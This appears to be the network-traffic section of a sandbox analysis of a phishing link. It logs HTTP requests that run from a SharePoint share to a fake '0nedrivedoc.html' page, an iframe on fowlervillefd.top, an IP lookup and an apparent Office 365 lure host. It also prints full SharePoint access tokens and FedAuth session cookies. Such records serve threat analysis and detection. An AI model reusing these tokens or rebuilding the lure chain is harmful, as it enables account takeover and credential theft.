Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://ipmdoctor-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ipmdoctor-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /transform/passthrough?provider=spo&inputFormat=pdf&cs=fFNQTw&docid=https%3A%2F%2Fipmdoctor-my.sharepoint.com%3A443%2F_api%2Fv2.0%2Fdrives%2Fb!vGkaRjrH8Eqoihwm-YWIYyVq0ofWUJlMnFhRHwzMXUUWhW1hX_QaTrmfUP5MpFVJ%2Fitems%2F01OK5L7JS5D7OK4LNHYREKAIQS5EZCCG5Q%3Fversion%3DPublished&access_token=v1.eyJzaXRlaWQiOiI0NjFhNjliYy1jNzNhLTRhZjAtYTg4YS0xYzI2Zjk4NTg4NjMiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvaXBtZG9jdG9yLW15LnNoYXJlcG9pbnQuY29tQGY1OGZmYWFmLTA2ZGUtNDI3MC1hNDMwLWFlZDgyMTQ1ODQyNSIsImV4cCI6IjE3MzEwMjQwMDAifQ.CiMKCXNoYXJpbmdpZBIWRzdERjRVeDcya21LbzRxakMxaEtrZwoICgNzdHASAXQKCgoEc25pZBICMzMSBgiE2ToQARoOMTczLjI1NC4yNTAuNzkiFG1pY3Jvc29mdC5zaGFyZXBvaW50KixkdUdQSEpmdjVBd1VoZU9XMlNnSFcvQUlZT3VtYm1DL25IRzJTZFptTC9VPTB3OAFKEGhhc2hlZHByb29mdG9rZW5iBHRydWVyYTBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2N6ATDCAWEwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNjYmEwN2FkODU0MzlmZWM4NGU0YjU0NmMzNTFiZmI3ZDhjZGQ0MDk0Y2NhNjRiYjFkNWNjYjYxOWU3OTBlNDNj.phlakqmj3iuJPuaOLYMKx0sRYZ6Ltmw4Y3Fj2vos290&cTag=%22c%3A%7BAEDC1F5D-A72D-48C4-A022-12E932211BB0%7D%2C1%22 HTTP/1.1Host: westus31-mediap.svc.msConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=PMMWWd51ms2mLK+&MD=lOkep21k HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /transform/thumbnail?provider=spo&inputFormat=pdf&cs=fFNQTw&docid=https%3A%2F%2Fipmdoctor-my.sharepoint.com%3A443%2F_api%2Fv2.0%2Fdrives%2Fb!vGkaRjrH8Eqoihwm-YWIYyVq0ofWUJlMnFhRHwzMXUUWhW1hX_QaTrmfUP5MpFVJ%2Fitems%2F01OK5L7JS5D7OK4LNHYREKAIQS5EZCCG5Q%3Fversion%3DPublished&access_token=v1.eyJzaXRlaWQiOiI0NjFhNjliYy1jNzNhLTRhZjAtYTg4YS0xYzI2Zjk4NTg4NjMiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvaXBtZG9jdG9yLW15LnNoYXJlcG9pbnQuY29tQGY1OGZmYWFmLTA2ZGUtNDI3MC1hNDMwLWFlZDgyMTQ1ODQyNSIsImV4cCI6IjE3MzEwMjQwMDAifQ.CiMKCXNoYXJpbmdpZBIWRzdERjRVeDcya21LbzRxakMxaEtrZwoICgNzdHASAXQKCgoEc25pZBICMzMSBgiE2ToQARoOMTczLjI1NC4yNTAuNzkiFG1pY3Jvc29mdC5zaGFyZXBvaW50KixkdUdQSEpmdjVBd1VoZU9XMlNnSFcvQUlZT3VtYm1DL25IRzJTZFptTC9VPTB3OAFKEGhhc2hlZHByb29mdG9rZW5iBHRydWVyYTBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2N6ATDCAWEwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNjYmEwN2FkODU0MzlmZWM4NGU0YjU0NmMzNTFiZmI3ZDhjZGQ0MDk0Y2NhNjRiYjFkNWNjYjYxOWU3OTBlNDNj.phlakqmj3iuJPuaOLYMKx0sRYZ6Ltmw4Y3Fj2vos290&cTag=%22c%3A%7BAEDC1F5D-A72D-48C4-A022-12E932211BB0%7D%2C1%22&encodeFailures=1&width=1024&height=1024&srcWidth=&srcHeight= HTTP/1.1Host: westus31-mediap.svc.msConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://ipmdoctor-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ipmdoctor-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /transform/thumbnail?provider=spo&inputFormat=pdf&cs=fFNQTw&docid=https%3A%2F%2Fipmdoctor-my.sharepoint.com%3A443%2F_api%2Fv2.0%2Fdrives%2Fb!vGkaRjrH8Eqoihwm-YWIYyVq0ofWUJlMnFhRHwzMXUUWhW1hX_QaTrmfUP5MpFVJ%2Fitems%2F01OK5L7JS5D7OK4LNHYREKAIQS5EZCCG5Q%3Fversion%3DPublished&access_token=v1.eyJzaXRlaWQiOiI0NjFhNjliYy1jNzNhLTRhZjAtYTg4YS0xYzI2Zjk4NTg4NjMiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvaXBtZG9jdG9yLW15LnNoYXJlcG9pbnQuY29tQGY1OGZmYWFmLTA2ZGUtNDI3MC1hNDMwLWFlZDgyMTQ1ODQyNSIsImV4cCI6IjE3MzEwMjQwMDAifQ.CiMKCXNoYXJpbmdpZBIWRzdERjRVeDcya21LbzRxakMxaEtrZwoICgNzdHASAXQKCgoEc25pZBICMzMSBgiE2ToQARoOMTczLjI1NC4yNTAuNzkiFG1pY3Jvc29mdC5zaGFyZXBvaW50KixkdUdQSEpmdjVBd1VoZU9XMlNnSFcvQUlZT3VtYm1DL25IRzJTZFptTC9VPTB3OAFKEGhhc2hlZHByb29mdG9rZW5iBHRydWVyYTBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2N6ATDCAWEwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNjYmEwN2FkODU0MzlmZWM4NGU0YjU0NmMzNTFiZmI3ZDhjZGQ0MDk0Y2NhNjRiYjFkNWNjYjYxOWU3OTBlNDNj.phlakqmj3iuJPuaOLYMKx0sRYZ6Ltmw4Y3Fj2vos290&cTag=%22c%3A%7BAEDC1F5D-A72D-48C4-A022-12E932211BB0%7D%2C1%22&encodeFailures=1&width=1024&height=1024&srcWidth=&srcHeight= HTTP/1.1Host: westus31-mediap.svc.msConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /0nedrivedoc.html HTTP/1.1Host: pub-3080d3652c0f47b18b2c244bf5856be6.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pub-3080d3652c0f47b18b2c244bf5856be6.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: botCheck=1
Source: global traffic	HTTP traffic detected: GET /300/ HTTP/1.1Host: fowlervillefd.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fowlervillefd.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?a23a7150042a5471ff9910edd8d97c9c HTTP/1.1Host: 4d44d9530e0671627ddff7d141d541b2.fp.measure.office.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://ipmdoctor-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ipmdoctor-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fowlervillefd.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fowlervillefd.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: o365.alnassers.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?e52d4a376bba0cf8c7c13f51a4896517 HTTP/1.1Host: 4d44d9530e0671627ddff7d141d541b2.fp.measure.office.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://ipmdoctor-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ipmdoctor-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://fowlervillefd.topSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://fowlervillefd.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?a23a7150042a5471ff9910edd8d97c9c HTTP/1.1Host: 4d44d9530e0671627ddff7d141d541b2.fp.measure.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?e52d4a376bba0cf8c7c13f51a4896517 HTTP/1.1Host: 4d44d9530e0671627ddff7d141d541b2.fp.measure.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?519c22e3149f513bbb9830978b800977 HTTP/1.1Host: outlook.office.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://ipmdoctor-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ipmdoctor-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?519c22e3149f513bbb9830978b800977 HTTP/1.1Host: outlook.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?ae2e69e0cb65f0c95064838bd2388f1d HTTP/1.1Host: outlook.office.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://ipmdoctor-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ipmdoctor-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?ae2e69e0cb65f0c95064838bd2388f1d HTTP/1.1Host: outlook.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?3e0ceb14ec36cc8edc937e2e277df39c HTTP/1.1Host: tr-ofc-mira.office.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://ipmdoctor-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ipmdoctor-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?85f4be918195fb4c78cc07a4710daef5 HTTP/1.1Host: tr-ofc-mira.office.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://ipmdoctor-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ipmdoctor-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?3e0ceb14ec36cc8edc937e2e277df39c HTTP/1.1Host: tr-ofc-mira.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?85f4be918195fb4c78cc07a4710daef5 HTTP/1.1Host: tr-ofc-mira.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /personal/jkim_boomeranghc_com/_layouts/15/AccessDenied.aspx?correlation=e5a261a1%2D3095%2D6000%2Dd9ad%2Dc5216327f935 HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=; FeatureOverrides_experiments=[]; ai_session=1vbCSMfrnJfWiacZpRl5Pl\|1731006085377\|1731006085377; MSFPC=GUID=f6040a9955db499e8d50ce5ca882d2ab&HASH=f604&LV=202411&V=4&LU=1731006090664
Source: global traffic	HTTP traffic detected: GET /:f:/g/personal/jkim_boomeranghc_com/EpVq1HiUlY9HllcA6glOI2YBVBULnFeWVghjboPmEsmlRg?e=LUjWtE HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1